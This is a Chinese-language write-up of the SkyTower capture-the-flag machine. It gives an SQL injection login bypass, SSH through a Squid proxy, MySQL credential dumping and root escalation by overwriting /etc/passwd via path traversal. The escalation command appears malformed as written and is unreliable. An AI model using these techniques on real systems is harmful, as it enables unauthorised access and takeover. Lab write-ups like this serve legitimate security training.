SkyTower

拿到靶机,先arp-scan -l,找到虚拟机地址–192.168.111.130

浅浅收集一下信息,nmap -p- 192.168.111.130

1

nmap -p22,80,3128 -A 192.168.111.130

2

22号端口可以进行ssh登录,但是现在没有账号密码,有80端口和3128端口都可以进行一下目录扫描

80端口:登录页(POST传递账号密码),apache http server 2.2.22

关于80端口的sql注入

1.判断闭合符号是什么,过滤的字串有哪些,后端验证语句是什么

经过尝试和猜测,我认为后端验证语句是

SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input'

如果要在username里注入就要把后面的语句尝试注释掉,于是,干脆在password注入

其过滤了 or

已知OR可以用||代替,只要有一个为True整条语句即为True

email=admin&password=’||’1’’ //后面直接写了一个‘1’进去,所有肯定True

[^这个图片是后面登录之后查看的网页源码]:

6

4

3

apache也没有漏洞 3128端口:没有什么东西,是一个代理端口,我的理解是外网可以通过这个端口连接内网其他端口

接住上面sql注入进去,提示用ssh登录user==john;password==hereisjohn

发现连接超时,可能是只能让内网主机ssh,不过想起来 3128 端口设置的 Squid HTTP代理服务,尝试设置代理访问(这里需要权限,所以 sudo,直接 root 用户也可以)

vim /etc/proxychains4.conf

5

把最后一行写进去就行了,同时只保留这一行,下次用的时候也只留需要用的这条

然后连接ssh时需要配带上proxychains4文件 proxychains ssh john@192.168.111.130 -t "/bin/sh"

python -c ‘import pty;pty.spawn(“/bin/bash”)’,交互式shell,但是回显没有python

6

$db = new mysqli('localhost', 'root', 'root', 'SkyTech'); //有了账号密码

登录一下mysql吧 mysql -uroot -proot

1
2
3
4
5
6
7
8
9
10
11
1. \# 利用内置库查询数据库           注意句尾要有分号(;) 
2. select schema_name from information_schema.schemata;
4. \# 查询库下的表名
5. SELECT table_name FROM information_schema.tables WHERE table_schema = "SkyTech";
6.
7. \# 查询字段名
8. select column_name from information_schema.columns where table_name="login" and table_schema='SkyTech';
9.
10. \# 查询字段信息
11. use SkyTech;
12.

7

分别登录之后发现新账号密码

Username: sara
Password: ihatethisjob(能登录,并且有更好一点权限)

Username: william
Password: senseable(不能登录,怀疑需要用私钥登录)

find / -name “ssh” 2>/dev/null

8

通过sudo -l发现有当前用户可以用root执行的命令

9

可以用accounts来查flag,也可以提权吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo /bin/ls cat > /accounts/../etc/passwd <<EOF
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
john:x:1000:1000:john,,,:/home/john:/bin/bash
sara:x:0:0:,,,:/home/sara:/bin/bash
william:x:1002:1002:,,,:/home/william:/bin/bash
EOF

这里是直接把登录账号的uid和gid都改成了0

sudo cat /accounts/../root/flag.txt 得到root密码theskytower